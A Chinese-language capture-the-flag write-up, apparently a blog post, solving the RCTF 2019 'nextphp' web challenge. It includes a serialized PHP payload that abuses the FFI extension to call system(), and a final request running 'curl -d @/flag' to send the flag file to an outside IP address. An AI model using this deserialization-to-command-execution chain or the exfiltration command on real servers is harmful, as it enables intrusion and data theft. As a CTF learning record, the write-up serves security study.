• RCTF 2019 web


    写在正文前

    神仙题,压根不会。

    听说跟着神仙的思路走一遍印象会深点,Just mo it 。2333

    正文

    nextphp

    整体思路:phpinfo得知存在preload.php文件,并与opcache拓展有关,查看preload.php源码确定为反序列化漏洞。

    题目直接给了一句话,起手不俗,tql

    eval能干啥?执行php代码:读取文件,命令执行......

    附上一篇:php花式读取文件

    是我太天真。记住记住,信息收集很重要,比如:phpinfo。

    关注点:disable_functions/open_basedir/全文搜索.php/.bak/.balabala(大佬总是能够从纷繁复杂的乱象里一眼看出问题所在,何也?exp)

    1.从disable_functions知,所有命令执行函数都被禁用了。

    2.从open_basedir知网站物理路径(虽然不知道啥用)

    3.全文检索.php,除了index.php就只剩preload.php了

    查看preload.php代码

    此外,注意到preload在一个叫做opcache的拓展里,opcache,php7.4的新特性:

    https://wiki.php.net/rfc/preload

    全文搜索dangerous/risk/warning/...等字眼

    ext/FFI危险?phpinfo里搜索下是否开启此拓展。

    启动了

    深入了解一波FFI

    https://www.php.net/manual/en/ffi.examples-basic.php

    https://www.php.net/manual/en/ffi.examples-callback.php

    可以看到在 FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数,于是我们可以考虑直接调用 PHP 里执行命令的函数:

    <?php
    final class A implements Serializable {
        protected $data = [
            'ret' => null,
            'func' => 'FFI::cdef',
            'arg' => 'int system(char *command);'
        ];
    
        private function run () {
            echo "run<br>";
            $this->data['ret'] = $this->data['func']($this->data['arg']);
        }
        public function serialize () {
            return serialize($this->data);
        }
    
        public function unserialize($payload) {
            $this->data = unserialize($payload);
            $this->run();
        }
    
        public function __get ($key) {
            return $this->data[$key];
        }
    
        public function __set ($key, $value) {
            throw new Exception('No implemented');
        }
    
        public function __construct () {
            echo "__construct<br>";
        }
    }
    
    $a = new A();
    echo base64_encode(serialize($a)); // 即payload
    //QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319

    最后反序列化执行

    nextphp.2019.rctf.rois.io/?a=unserialize(base64_decode('payload'))->__serialize()['ret']->system('curl -d @/flag 47.107.226.162:7777');

    得flag

    补充:在获取preload文件时,可以直接读取

  • 相关阅读:
    JAVA 作业:图形界面
    操作系统实验3:内存分配与回收
    PLAN :昔日未来
    操作系统课程:调度算法
    KMP 代码 暂存
    笔试总结篇(一) : 广州X公司笔试
    雨夜静思(一)
    KMP算法详解-- 转自Matrix67
    百度笔试
    lucene中Document删除不了的问题
  • 原文地址:https://www.cnblogs.com/p0pl4r/p/10914898.html
Copyright © 2020-2023  润新知